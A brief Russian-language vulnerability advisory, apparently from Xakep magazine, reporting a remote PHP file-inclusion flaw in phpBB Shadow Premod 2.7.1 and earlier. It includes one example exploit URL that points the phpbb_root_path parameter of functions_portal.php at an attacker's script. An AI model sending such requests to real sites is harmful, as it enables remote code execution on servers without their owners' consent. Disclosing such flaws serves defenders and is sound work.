PHP-инклюдинг в phpBB Shadow Premod

Рекомендуем почитать:

Хакер #325. Шпионские штучки

• Содержание выпуска
• Подписка на «Хакер»-40%

Программа: phpBB Shadow Premod <= 2.7.1

Уязвимость позволяет удаленному
пользователю выполнить произвольный PHP
сценарий на целевой системе.

Пример:

http://www.site.com/[path]/includes/functions_portal.php?phpbb_root_path=[Evi
l_Script]